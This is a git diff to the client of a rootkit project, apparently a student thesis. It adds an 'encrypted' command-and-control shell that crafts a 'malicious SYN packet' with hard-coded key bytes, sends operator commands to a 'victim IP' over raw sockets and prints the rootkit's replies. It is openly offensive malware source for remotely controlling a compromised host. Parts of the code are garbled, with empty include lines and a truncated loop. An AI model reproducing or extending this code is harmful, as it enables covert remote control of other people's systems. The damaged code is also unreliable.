diff --git a/src/client/client.c b/src/client/client.c index 5173646..17b743c 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -8,6 +8,7 @@ #include #include #include +#include #include "../common/constants.h" #include "../common/c&c.h" @@ -20,6 +21,13 @@ #define KRED "\x1B[31m" #define RESET "\x1B[0m" +//For encrypted shell +#define SYN_PACKET_PAYLOAD_LEN 0x10 +#define SYN_PACKET_KEY_1 "\x56\xA4" +#define SYN_PACKET_KEY_2 "\x78\x13" +#define SYN_PACKET_KEY_3 "\x1F\x29" +#define SYN_PACKET_SECTION_LEN 0x02 + void print_welcome_message(){ printf("*******************************************************\n"); printf("************************* TFG *************************\n"); @@ -185,6 +193,88 @@ void activate_command_control_shell(char* argv){ free(local_ip); } +void activate_command_control_shell_encrypted(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n"); + char* payload = malloc(SYN_PACKET_PAYLOAD_LEN); + srand(time(NULL)); + for(int ii=0; ii:"RESET""); + fgets(buf, BUFSIZ, stdin); + if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ + buf[strlen(buf)-1] = '\0'; + } + + char msg[BUFSIZ]; + strcpy(msg, CC_PROT_MSG); + strcat(msg, buf); + packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg); + printf("Sending %s\n", msg); + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + return; + } + printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); + packet = rawsocket_sniff_pattern(CC_PROT_MSG); + char* res = packet.payload; + printf("["KGRN"RESPONSE"RESET"] %s\n", res); + } + + free(local_ip); +} + void main(int argc, char* argv[]){ if(argc<2){ @@ -204,7 +294,7 @@ void main(int argc, char* argv[]){ char path_arg[512]; //Command line argument parsing - while ((opt = getopt(argc, argv, ":S:c:h")) != -1) { + while ((opt = getopt(argc, argv, ":S:c:h:e")) != -1) { switch (opt) { case 'S': print_welcome_message(); @@ -227,6 +317,17 @@ void main(int argc, char* argv[]){ activate_command_control_shell(dest_address); PARAM_MODULE_ACTIVATED = 1; + break; + case 'e': + print_welcome_message(); + sleep(1); + //Send a secret message + printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL encrypted shell\n"); + //printf("Option S has argument %s\n", optarg); + strcpy(dest_address, optarg); + activate_command_control_shell_encrypted(dest_address); + PARAM_MODULE_ACTIVATED = 1; + break; /*case 'u': print_welcome_message(); diff --git a/src/client/client.o b/src/client/client.o index bc46424..04cc106 100644 Binary files a/src/client/client.o and b/src/client/client.o differ diff --git a/src/client/injector b/src/client/injector index b5eb2d9..9a7aad0 100755 Binary files a/src/client/injector and b/src/client/injector differ